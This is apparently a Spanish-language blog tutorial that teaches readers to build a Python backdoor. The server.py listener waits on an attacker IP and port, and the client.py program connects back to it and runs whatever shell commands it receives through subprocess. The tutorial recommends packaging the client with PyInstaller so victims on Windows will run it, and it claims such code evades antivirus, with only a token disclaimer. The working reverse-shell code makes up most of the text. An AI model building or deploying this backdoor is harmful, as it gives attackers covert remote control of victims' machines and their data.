Cómo crear malware personalizado con Python

La creación de malware personalizado es complicada, especialmente para solucionar problemas que podrían alertar al antivirus o hacer que no se ejecute correctamente.

Python es ampliamente conocido como uno de los lenguajes de codificación más amigables para principiantes, debido a su clasificación como lenguaje de muy alto nivel. Es un lenguaje extremadamente versátil y puede usarse para cosas como automatización, sitios web, aplicaciones e incluso malware. Está en constante evolución y actualización, y cada vez es más popular.

Python también es excelente para codificar malware, debido a su funcionalidad de red y su sintaxis simple. También pasa desapercibido con la mayoría de los programas antivirus, lo que lo convierte en una excelente puerta trasera para bromas o hacking. Nada en este artículo está destinado a fines maliciosos, así que no lo uses como tal.

Una vez hecho esto, iniciemos Visual Studio Code y empecemos a codificar.

Hay dos partes principales de la mayoría del malware de puerta trasera. Tendrá el servidor, que generalmente está del lado del hacker y bajo su control. También tendrá ejecutables de cliente, que es lo que las víctimas ejecutarán en sus sistemas para que tú obtengas el control de alguna manera. Codificaremos el servidor primero.

Codificando el servidor →

Necesitarás algunas cosas:

• Python, que viene preinstalado en MacOS y Linux. (Usaremos Python 2 para este tutorial, principalmente debido a su simplicidad y presencia generalizada en los sistemas operativos populares).
• Visual Studio Code (o un editor de código diferente si lo prefieres, pero te recomiendo instalar uno local) https://code.visualstudio.com/
• Un sistema operativo (OS) MacOS, Linux o Windows. Me temo que no puedes codificar esto en tu teléfono ni en nada más que en una computadora.

Una vez que los tengas, estarás listo para comenzar.

1. Debes crear un nuevo archivo de Python en tu editor de código y asígnale un nombre similar a ‘server.py‘. Asegúrate de tener el ‘.py’ al final; de lo contrario, no se ejecutará como un archivo de Python.

2. Crear el socket para que las computadoras de las víctimas se vuelvan a conectar:

import socketAttacker_IP = '192.168.4.35'
PORT = 4444server = socket.socket()
server.bind((Attacker_IP, PORT))
print('Server Created!')
print('Listening...')
server.listen(1)Victim, Victim_IP = server.accept()
print('Victim opened the backdoor! IP: ' + Victim_IP)

Vamos a diseccionarlo un poco.

La primera línea importa ‘socket’, que será lo que usaremos para las redes y ese tipo de cosas. Así es como nuestra computadora sabe cómo comunicarse con las computadoras de la víctima, y ​​viceversa.

Las siguientes dos líneas definen variables, y querrás poner tu dirección IP local y un puerto de tu elección, que puede ser casi cualquier puerto, como 4444.

Después de eso, vamos a crear un servidor para que otros se conecten usando la IP de nuestra máquina y el puerto que elegimos. Queremos que las víctimas se vuelvan a conectar con nosotros sin saberlo para que podamos controlar su computadora de forma remota.

Luego, cuando nuestro futuro ejecutable se abra, enviará una solicitud al servidor para conectarse, y el servidor dirá “¡claro!”, y luego se conectarán a nuestra computadora. Super fácil para la mayoría, con suerte.

Ejecutar comandos

3. Luego, agregaremos funcionalidades para ejecutar comandos en la computadora de la víctima. La biblioteca sockets hará la mayor parte del trabajo pesado, solo tenemos que ejecutar algunas funciones.

while True:
    command = input('Enter Command : ')
    command = command.encode()
    Victim.send(command)
    print('Command sent to ' + Victim_IP)    output = Victim.recv(1024)
    output = output.decode()
    print("Output: " + output)

Es hora de diseccionar (otra vez). Estamos ejecutando un bucle while aquí que permanecerá activo hasta que le digamos que se apague. ‘while True‘ se ejecutará hasta que el bucle “while” se interrumpa o cambie a ‘False’, y tome nota de los detalles.

Python distingue entre mayúsculas y minúsculas, y las sangrías realmente significan algo.

En los primeros comandos (mientras la víctima está conectada), le pediremos al atacante que ingrese un comando. El atacante ingresará un comando, se codificará y luego se enviará a la víctima. Imprimiremos dónde se envía exactamente el comando usando la instrucción ‘iprint’ en la línea 5.

La segunda parte nos mostrará lo que sucede cuando la víctima recibe el comando y luego envía el resultado real de dicho comando al atacante. De esta manera, podemos ejecutar las cosas como lo haría un usuario normal en estas máquinas.

¡Eso es todo por crear el servidor! Bastante simple. Ahora, echemos un vistazo a la creación de la otra mitad, porque ¿de qué sirve un servidor sin el cliente?

Creando el cliente →

Necesitaremos ese archivo del servidor en un momento, pero por ahora podemos ponerlo en un segundo plano. Debes crear un nuevo archivo llamado ‘client.py‘, el archivo que terminaremos ejecutando en la máquina de la víctima. Este archivo ejecutará un proceso para conectarse a la computadora del atacante y luego ejecutará los comandos que proporciona el atacante.

1. Una vez que hayas creado el archivo, usaremos este código para comenzar:

import socket
import subprocessServer_IP = '192.168.4.35'
PORT = 4444pyBackdoor = socket.socket()
pyBackdoor.connect((Server_IP, PORT))

Este código importará la biblioteca de sockets y el subproceso, que usaremos más adelante.

A continuación, intentará conectarse a la IP y el puerto del servidor proporcionados. Estas serán idénticas a las variables suministradas en ‘server.py‘ .

Las últimas líneas crearán el socket y luego intentarán conectarse a nuestra puerta trasera utilizando las variables proporcionadas. Si se conecta con éxito, las dos computadoras se vincularán y la computadora del atacante podrá ejecutar comandos después del siguiente paso.

2. Agregar funcionalidades para ejecutar comandos proporcionados por el atacante:

while True:
    command = pyBackdoor.recv(1024)
    command = command.decode()    op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
    output = op.stdout.read()
    output_error = op.stderr.read()
    pyBackdoor.send(output + output_error)

Este segmento de código se ejecutará para siempre, o hasta que el atacante le indique que se detenga.

La primera parte le dice a la puerta trasera que reciba cualquier comando enviado por el atacante y luego lo decodifique.

Luego ejecutará el comando usando el subproceso y enviará la salida del comando de ejecución al sistema del atacante a través de pyBackdoor.

Terminando →

Bueno, la parte difícil está hecha. Debes ejecutar tu puerta trasera y deberías obtener algo como esto:

¡Perfecto! Tienes el servidor en funcionamiento. Ahora, debes hacer que alguien ejecute tu ‘client.py‘ y su IP debería aparecer en tu terminal. Adicionalmente, puedes convertir ‘client.py‘ en un ejecutable usando PyInstaller, para hackear sistemas como Windows 10.

Ahora, si ingresas comandos en la terminal, tu víctima realmente ejecutará esos comandos y devolverá la salida al atacante (tu) computadora. 

Si deseas obtener el código fuente de este malware, puedes hacerlo aquí.